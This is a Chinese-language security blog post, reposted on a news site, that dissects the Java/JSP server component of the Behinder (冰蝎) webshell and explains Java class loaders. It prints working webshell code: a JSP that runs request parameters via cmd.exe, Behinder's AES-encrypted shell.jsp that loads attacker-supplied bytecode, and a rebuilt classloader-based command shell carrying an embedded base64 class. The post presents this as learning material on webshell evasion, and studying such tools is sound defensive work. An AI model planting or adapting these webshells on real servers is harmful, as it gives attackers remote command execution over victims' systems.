Redian新闻
>
冰蝎(一)Java Webshell解析

冰蝎(一)Java Webshell解析

科技

冰蝎 Java服务端解析

前言

看了一段时间的webshell免杀,由于其他语言的webshell没啥基础,只对jsp的webshell和冰蝎简单分析了一下。完成了一个简化版的冰蝎Demo,主要是学习原理,分析的有不对的地方还请师傅们斧正。

冰蝎JSP服务端解析

在看冰蝎的shell.jsp之前先来回顾下Java最基础执行命令的实现。Java最常见的是通过Runtime.getRuntime().exec("cmd")来实现执行系统命令的,如下是一个Demo。 Runtime.getRuntime().exec()实现命令执行及输出:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class CMDExecDemo  {
    public static void main(String[] args) throws Exception{
        Process process = Runtime.getRuntime().exec("ipconfig");
        InputStream processInput = process.getInputStream();
        InputStreamReader inputStreamReader = new InputStreamReader(processInput,"GBK");
        BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
        String resLine ;
        while ((resLine =bufferedReader.readLine()) != null){
            System.out.println(resLine);
        }
        inputStreamReader.close();
        processInput.close();
    }
}

JSP实现:

<%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"  %>
<%@page import="java.io.*" %>

<%
String os = System.getProperty("os.name").toLowerCase();
out.print(os);

String cmd = request.getParameter("cmd");
String line;
if (cmd != null){
    Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
    InputStream ins = p.getInputStream();
    InputStreamReader insr = new InputStreamReader(ins,"GBK");
    BufferedReader br = new BufferedReader(insr);
    out.print("<pre>");
    while ((line = br.readLine()) != null){
        out.print(line+"\n");
    }
    out.print("</pre>");
    ins.close();
    insr.close();
    br.close();
    p.getOutputStream().close();
}
%>

Behinder JSP Webshell不同于一般的一句话木马,作者通过自定义类加载器调用ClassLoader类defineClass方法让服务端有了动态解析字节码的能力,添加注释后的shell.jsp如下。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
    //自定义类加载器
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b)
        {
            //调用父类defineClass方法
            return super.defineClass(b,0,b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")){
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));



        //获取客户端数据
//        String line = request.getReader().readLine();
        //base64解码客户端数据
//        byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
        //AES解密
//        byte[] b1 = c.doFinal(b);
        //调用父类defineClass方法,将传入数据还原为Class对象
//        U u = new U(this.getClass().getClassLoader());
//        Class clazz = u.g(b1);
        //实例化对象将输出写入pageContext
        //客户端传入的字节码指向的类中重写了equals方法传入pageContext对象,通过pageContext对象
        //可以间接操作response,将执行结果写入response返回给客户端
//        clazz.newInstance().equals(pageContext);
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

关于自定义类加载器

Java执行代码的过程:程序员编写的Java代码通过编译器编译成字节码文件即.class文件之后交由ClassLoader加载至JVM中被执行。 JVM提供了三种类加载器: **Bootstrap classLoader:**主要负责加载核心的类库(java.lang.*等),构造ExtClassLoader和APPClassLoader。 ExtClassLoader:主要负责加载jre/lib/ext目录下的一些扩展的jar AppClassLoader:主要负责加载应用程序的主函数类。 双亲委派机制: 当一个Hello.class这样的文件要被加载时。不考虑自定义类加载器,首先会在AppClassLoader中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的loadClass方法。父类中同理也会先检查自己是否已经加载过,如果没有再往上。注意这个类似递归的过程,直到到达Bootstrap classLoader之前,都是在检查是否加载过,并不会选择自己去加载。直到BootstrapClassLoader,已经没有父加载器了,这时候开始考虑自己是否能加载了,如果自己无法加载,会下沉到子加载器去加载,一直到最底层,如果没有任何加载器能加载,就会抛出ClassNotFoundException。


ClassLoader中的三个关键方法: ClassLoader.loadClass():双亲委派机制的代码实现。

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        return loadClass(name, false);
    }
    
    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

ClassLoader.defineClass():将byte[]还原为Class对象。

    protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                         ProtectionDomain protectionDomain)
        throws ClassFormatError
    {
        protectionDomain = preDefineClass(name, protectionDomain);
        String source = defineClassSourceLocation(protectionDomain);
        Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
        postDefineClass(c, protectionDomain);
        return c;
    }

ClassLoader.findClass():供自定义类加载器重写使用,配合defineClass方法实现自定义加载字节码。

 protected Class<?> findClass(String name) throws ClassNotFoundException {
        throw new ClassNotFoundException(name);
    }

实现自定义类加载器的步骤: 1、继承ClassLoader类 2、重写findClass方法 3、调用defineClass方法 Demo如下: hello.java

public class hello {
    public void printHello(){
        System.out.println("hello world!");
    }
}

customLoader.java

import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Method;

public class customLoader extends ClassLoader {
    private String classPath;

    public customLoader(String classPath){
        this.classPath = classPath;
    }


    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        byte[] bytes = new byte[0];
        try {
            bytes = loadBytes(name);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return super.defineClass(bytes,0,bytes.length);
    }

    private byte[] loadBytes(String className) throws Exception{
        FileInputStream fileIns = new FileInputStream(classPath+ File.separator+className.replace(".",File.separator).concat(".class"));
        byte[] b = new byte[fileIns.available()];
        fileIns.read(b);
        fileIns.close();
        return  b;
    }

    public static void main(String[] args) throws Exception{
        customLoader customLoader = new customLoader("C:\\Users\\lixq\\Desktop\\loaderDemo\\src\\test\\java");
        Class aClass = customLoader.loadClass("hello");
        Object o = aClass.newInstance();
        Method m = aClass.getMethod("printHello");
        m.invoke(o);
    }
}

有了以上基础,着手将一开始的CMD Webshell改为自定义类加载器方式执行: 相较于传统自定义类加载器的方式,冰蝎更直接地调用defineClass方法将编码后class文件还原为Class对象,参照冰蝎的方式可以依照如下步骤来实现CMD Webshell。 1、首先将CMD JSP Webshell编译为class,然后将class文件base64编码

image.png

2、通过自定义类加载器将base64后class还原为Class对象并加载至jvm执行。

<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null){
        class U extends ClassLoader{
            public Class g(){
                String clsStr = "yv66vgAAADQAVAoAFgArBwAsCgACACsKAC0ALgcALwgAMAgAMQoALQAyCgAzADQHADUIADYKAAoANwcAOAoADQA5CgANADoKAAIAOwgAPAoAPQA+CgAKAD4KAAIAPwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACkV4Y2VwdGlvbnMHAEIBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBABwAvBwAsBwBDBwBEBwA1BwA4AQAKU291cmNlRmlsZQEAFENNRF9SdW50aW1lRGVtby5qYXZhDAAXABgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARQwARgBHAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwASABJBwBDDABKAEsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAXAEwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAXAE0MAE4ATwwAUABRAQABCgcARAwAUgAYDABTAE8BAA9DTURfUnVudGltZURlbW8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFY2xvc2UBAAh0b1N0cmluZwAhABUAFgAAAAAAAwABABcAGAABABkAAAAdAAEAAQAAAAUqtwABsQAAAAEAGgAAAAYAAQAAAAYACQAbABwAAgAZAAAAGQAAAAEAAAABsQAAAAEAGgAAAAYAAQAAABIAHQAAAAQAAQAeAAEAHwAgAAIAGQAAAM4ABQAIAAAAaLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pGQS2ABIZBbYAEyy2ABSwAAAAAgAaAAAAKgAKAAAAFAAIABUAIQAWACcAFwA0ABgAPwAaAEoAHABZAB4AXgAfAGMAIAAhAAAAJAAC/wA/AAcHACIHACMHACQHACUHACYHACcHACgAAPwAGQcAIwAdAAAABAABAB4AAQApAAAAAgAq";
                byte[] b = Base64.getDecoder().decode(clsStr);
                return super.defineClass(b,0,b.length);
            }
        }
        U  u = new U();
        Class clazz = u.g();
        Object obj = clazz.newInstance();
        Method m = clazz.getMethod("execCmd",String.class);
        String res = (String) m.invoke(obj,cmd);
        out.print(res);
    }
%>

总结

简单分析了冰蝎Java服务端的实现,如果我们将固定的CMD_RuntimeDemo.class Base64编码后的字符串改为传递参数传递给服务端,那么服务端就可以解析我们传递的class字节码从而在服务端执行任意java代码,而这正是冰蝎客户端的核心思路。

参考

https://blog.csdn.net/qq_35029061/article/details/126128612 https://www.cnblogs.com/rebeyond/p/10916001.html

E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
China Bans Celebs From Endorsing Tutoring, Tobacco, and Others周星驰招聘Web3人才?Web3.0到底是什么?中国建筑业转型系列三部曲(一):建筑全链绿色发展正当时视频会议、WebRTC及RingCentral解决之道我去了中国最大的 Web3 聚会,发现人们想要的不是 Web3搞不懂这些,就敢参加四大秋招之战?(一)人类简史(一)你比原始人更幸福吗?人生完整了,我也羊了(一)Wells Fargo 6个月规则:6个月内只能批一张Wells Fargo卡万维网之父:Web3根本不是Web,我们应该忽略它尹思泉诗书近作视频《战 游》Webpack 创始人推出比 Webpack“快 700 倍”的 Turbopack,基于 Rust 编写全球高通胀时代到来——新宏观范式系列(一)潮影webshell在线免杀功能上线周日刘宇前律师专业讲座预告|漫谈EB-5系列: 资金安全与回款(一) | 公司专栏British Library Includes 16 Chinese Web Novels in Its Collection泰山行(一)云九资本牛凤轩:资本视角下的Web3全家桶、以及Web3语境下的元宇宙|36氪专访无忧买房|Wellesley单家庭房出售,高评分学区,步行可至Wellesley高中,近镇中心和通勤铁路火车站Oracle、BioMarin Pharmaceutical解雇近300人 湾区就业前景堪忧冰蝎(二)Java客户端实现渡十娘|十万弃婴的心灵之歌:木棉花开(一)Shell Fuel Rewards:加油省钱秘籍【12/07 更新:10 周年转盘活动,把把必赢】She Traveled Solo to Escape Abuse. Now She Wants a Divorce.CopyNet、SeqGAN、BERTSUM…你都掌握了吗?一文总结文本摘要必备经典模型(一)那年火车上的故事(一)偶遇Trump’s Last General by Susan B.Glasser & Peter Baker设置路径在 Powershell 中使用开源命令 | Linux 中国围术期过敏性休克典型病例(一)因孩子参加中文比赛而结识的那位大姐姐,走了一周年官宣 | 博物官方集换式收藏卡——2022 DIVERSE神奇物种(一)即将发售!加密交易所大战结束,币安收购 FTX;传歌尔遭苹果「砍单」耳机生产;万维网创始人:Web3 根本不是 Web | 极客早知道自制熟成 (Dry Aged) 牛排,及其他。千朔投资专访:慢就是快 坚持在正确的道路上(一)新财年10月排期表已出!EB-2和EB-3移民排期前进二个月左右, EB-5区域中心及EB-5直投项目移民排期倒退了275天
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。